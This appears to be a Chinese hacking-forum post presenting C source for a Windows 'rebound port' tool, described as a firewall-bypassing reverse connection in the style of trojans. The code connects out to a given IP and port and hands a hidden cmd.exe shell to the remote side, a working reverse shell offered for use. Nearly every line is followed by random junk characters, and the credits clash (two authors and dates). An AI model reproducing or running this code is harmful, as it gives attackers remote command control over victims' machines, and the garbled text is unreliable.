这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 m{*_%tjN0
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/* ============================== /.mx\_$
Rebound port in Windows NT |v>W
By wind,2006/7 N#OO{`":Z`
===============================*/ $W;r S7b
#include 2e,cE6r
#include |em_l$oGc
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#pragma comment(lib,"wsock32.lib") Zz|et206
}!kvoV)]1
void OutputShell(); 7Or?$
SOCKET sClient; GOCe&?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k:U%#rb;
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void main(int argc,char **argv) ;Uypv|xX
{ fsKZ
WSADATA stWsaData; ^AwDZX
int nRet; 9D5v0Qi
SOCKADDR_IN stSaiClient,stSaiServer; h ^zcM_
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if(argc != 3) rb.:(d)T
{ )\e0L/K@
printf("Useage:\n\rRebound DestIP DestPort\n"); yBqKldl
return; >U:.5Tch'V
} /z1-4:^`A[
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WSAStartup(MAKEWORD(2,2),&stWsaData); nqYarHi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~c,+)69"T
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stSaiClient.sin_family = AF_INET; hs)_h^P
stSaiClient.sin_port = htons(0); +nFC&~q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); of_Om$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P1qnU
{ p1s&
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printf("Bind Socket Failed!\n"); P#KTlH
return; mnYzn[d3U
} R"`<ZY6(Ou
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stSaiServer.sin_family = AF_INET; G7#<Jo<8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xCU
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?DM!=.]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K}dvXO@=|c
{ D<4cpH
printf("Connect Error!"); x*_'uP oS
return; &K"qnng/y
} O3L:v{Kn
OutputShell(); GZiN&}5e
} K{G\=yJ((
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void OutputShell() covK6SH
{ y $>U[^G[
char szBuff[1024]; ?&XpwJw:~
SECURITY_ATTRIBUTES stSecurityAttributes; 8 }OII\
OSVERSIONINFO stOsversionInfo; >`
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 35#"]l"
STARTUPINFO stStartupInfo; ]#O~lq
char *szShell; Kb#Z(C9
PROCESS_INFORMATION stProcessInformation; csv;u'
unsigned long lBytesRead; u3vw[k
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hRktvO)K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hLSas#B>
stSecurityAttributes.lpSecurityDescriptor = 0; G8CM
stSecurityAttributes.bInheritHandle = TRUE; JN<u4\e{-&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \ci[<CP
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c ^+{YH;k
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |("zW7g
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :8Ql(I
stStartupInfo.wShowWindow = SW_HIDE; I#:4H2H6
stStartupInfo.hStdInput = hReadPipe; Z'\{hL S
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `< cn
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GetVersionEx(&stOsversionInfo); X2C&q$8
} |? W
switch(stOsversionInfo.dwPlatformId) a.G;s2>
{ OYk/K70l3
case 1: 05[k@f$n
szShell = "command.com"; ,=t}|!jx
break; mRD '@n
default: _*dUH5
szShell = "cmd.exe"; gO]jeO
break; D"GQlR
} ,wH]|`w
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \9jvQV/y
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send(sClient,szMsg,77,0); Jbqm?Fy4X
while(1) J*"G*x#u
{ wD`jks
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 47^R
if(lBytesRead) aiwKkf`\
{ J4^aD;j
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]w9\q*S]
send(sClient,szBuff,lBytesRead,0); De:| T8&
} HF]|>1WV[
else (GDW9:
{ H6%%n
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lBytesRead=recv(sClient,szBuff,1024,0); CUZ
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if(lBytesRead<=0) break; \6c8Lqa
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }*M>gvPo
} Yuqt=\? #
} 4^AdSuV
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return; .l ufE
}